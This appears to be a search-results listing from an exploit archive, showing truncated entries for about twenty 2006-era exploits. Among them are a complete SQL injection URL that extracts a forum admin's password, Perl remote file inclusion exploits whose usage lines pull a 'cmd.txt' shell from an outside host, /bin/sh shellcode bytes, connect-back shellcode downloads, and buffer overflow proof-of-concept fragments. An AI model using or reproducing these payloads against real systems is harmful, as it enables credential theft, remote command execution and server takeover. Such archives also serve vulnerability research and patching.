2249 matches found
Fenice Oms 1.10 - GET Remote Buffer Overflow
/ IHS Iran Homeland Security public source code Fenice - Open Media Streaming Server remote BOF exploit author : c0d3r "kaveh razavi" [email protected] package : fenice-1.10.tar.gz and prolly prior versions workaround : update after patch release advisory : https://www.securityfocus.com/bid/17678...
BK Forum 4.0 - 'member.asp' SQL Injection
BK Forum Exploit: First you must be logged in Then type this in your browser http://www.site.com/path/member.asp?id=-1%20UNION%20SELECT%201,memName,3,4,5,6,7,8,9,10,11,memPassword,13,14,15,16%20FROM%20member+where+memID=1 You will find admin's password Shoutz: nukedx , nukedx , nukedx : , cijfer ...
Apple Mac OSX Safari 2.0.3 (417.9.2) - Multiple Vulnerabilities
Tested on: Mac OS X 10.4.5 using Safari 03/16/2006 Security-Protocols.com Advisory: http://www.security-protocols.com/advisory/sp-xxx This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License version 2, 1991 as published by the Free...
dForum 1.5 - DFORUM_PATH Multiple Remote File Inclusions
dForum 1.5 - DFORUMPATH Multiple Remote File Inclusions dForum ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploit works on dForum about.php admin.php anmelden.php closethread.php config.php delpost.php delthread.php dfcode.php download.php editanoc.php forum.php login.php...
linux/x86 - xor-encoded Connect Back Shellcode 371 bytes
linux/x86 xor-encoded Connect Back Shellcode 371 bytes. Shellcode exploit for linx86 platform linux/x86 xor-encoded Connect Back Shellcode 371 bytes https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/13366.tar.gz black-RXenc-con-back.tar.gz milw0rm.com 2006-04-1...
linux/x86 xor-encoded Connect Back Shellcode 371 bytes
No description provided by source. linux/x86 xor-encoded Connect Back Shellcode 371 bytes http://www.milw0rm.com/sploits/black-RXenc-con-back.tar.gz milw0rm.com 2006-04-18...
MyEvent 1.3 - event.php Remote File Inclusion
MyEvent 1.3 - event.php Remote File Inclusion Script : MyEvent Version : 1.2 Risk : High Class : Remote Credits : b3g0k,Nistiman,flot,Netqurd etc.. my forget other friends Google look for : = "MyEvent 1.2 " or "/calendar/myevent.php"...
Ultr@VNC 1.0.1 - 'client Log::ReallyPrint' Remote Buffer Overflow
!/usr/bin/python Ultr@VNC 1.0.1 Client Buffer Overflow - Luigi Auriemm POC by Paul Haas at Redspin.com Tested on WinXP SP 2: Launches Calc import socket, struct HOST = '' Localhost PORT = 5900 VNC Server BOFSZ = 1024 Buffer Size HEAD = "RFB 003.006\n" VNC Header MESSAGE = "Requires Ultr@VNC...
linux/x86 - execve"/bin/sh", "/bin/sh", NULL 23 bytes
linux/x86 execve"/bin/sh", "/bin/sh", NULL 23 bytes. Shellcode exploit for linx86 platform / linux-x86-binshv2.c - 23 bytes Copyright c 2006 Gotfault Security Linux/x86 execve"/bin/sh", "/bin/sh", NULL / char shellcode = "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %ed...
VWar 1.5.0 R12 - Remote File Inclusion
!/usr/bin/perl VWar perl vwar.pl http://site.com/VWar/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck, blackhat-alliance.org, and everyone else! special shout to illwill! Contact: www.exploitercode.com...
Total Commander 6.x (unacev2.dll) Buffer Overflow PoC Exploit
No description provided by source. / -- /\ / Total Commander unacev2.dll Buffer Overflow PoC Exploit /\ by Darkeagle of Unl0ck Research Team / http://unl0ck.net /\ / when file will be created, try to open archive in TotalCmd and then unpack it ; /\ / -- / include string.h include stdio.h...
PHPNuke-Clan 3.0.1 - vwar_root2 Remote File Inclusion
PHPNuke-Clan 3.0.1 - vwarroot2 Remote File Inclusion !/usr/bin/perl PHPNuke-Clan 3.0.1 Remote File Inclusion Exploit Bug Found By uid0 code by zod c 2006 ExploiterCode.com usage: perl pnc.pl perl pnc.pl http://site.com/PNC/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcm...
SQuery 4.5 - 'libpath' Remote File Inclusion
!/usr/bin/perl SQuery perl squery.pl http://site.com/SQuery/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck, blackhat-alliance.org, and everyone else! special shout to illwill! Contact: www.exploitercode.com...
Tru64 UNIX 5.0 (Rev. 910) edauth NLSPATH Buffer Overflow Exploit
No description provided by source. !/usr/bin/perl -w based on work by stripey from back in the day kflistsatdigitalmunitiondotcom http://www.digitalmunition.com $sc .= "\x30\x15\xd9\x43\x11\x74\xf0\x47\x12\x14\x02\x42"; $sc .= "\xfc\xff\x32\xb2\x12\x94\x09\x42\xfc\xff\x32\xb2"; $sc .=...
GreyMatter WebLog <= 1.21d Remote Command Execution Exploit (2)
No description provided by source. !/usr/bin/perl Exploit by Hessam-x www.hessamx.net Special Thanx : Vampire , s3rv3rhack3r / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | \ /| | // / | / \ | \ | / \ / / / / / / Iran Hackerz Security Team WebSite: www.hackerz.ir DeltaHAcking Team website:...
FreeWPS 2.11 - 'images.php' Remote Code Execution
? errorreportingEERROR; function exploitinit if !extensionloaded'phpcurl' && !extensionloaded'curl' if !dl'curl.so' && !dl'phpcurl.dll' die "oo error - cannot load curl extension!"; function exploitheader echo "\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo";...
Jupiter CMS <= 1.1.5 Multiple XSS Attack Vectors
No description provided by source. Jupiter CMS = 1.1.5 multiple XSS attack vectors. Discovered by: Nomenumbra/0x4F4C Date: 3/11/2006 impact:high privilege escalation,site defacement Jupiter CMS http://www.highstrike.net/ is a dynamic CMS system like mambo or limbo, allowing users to subscribe and...
Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit (meta)
No description provided by source. Title: Limbo CMS version 1.x suffers from a remote code execution vulnerability. Name: limbocms1x.pm License: Artistic/BSD/GPL Info: Trying to get the command execution exploits out of the way on milw0rm.com. M's are always good. - This is an exploit module for...
D2-Shoutbox 4.2 IPB Mod (load) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl | | | \ | | |/ D2-Shoutbox 4.2IPB Mod=SQL injection Created By SkOd SED security Team http://www.sed-team.be [email protected] ISRAEL google: "Powered By D2-Shoutbox 4.2" use IO::Socket; $host = $ARGV0; $user = $ARGV2; $uid = $ARGV3; $pid = $ARGV4...
D2-Shoutbox 4.2 IPB Mod - load SQL Injection
D2-Shoutbox 4.2 IPB Mod - load SQL Injection !/usr/bin/perl | | | \ | | |/ D2-Shoutbox 4.2IPB Mod=SQL injection Created By SkOd SED security Team http://www.sed-team.be [email protected] ISRAEL google: "Powered By D2-Shoutbox 4.2" use IO::Socket; $host = $ARGV0; $user = $ARGV2; $uid = $ARGV3; $pi...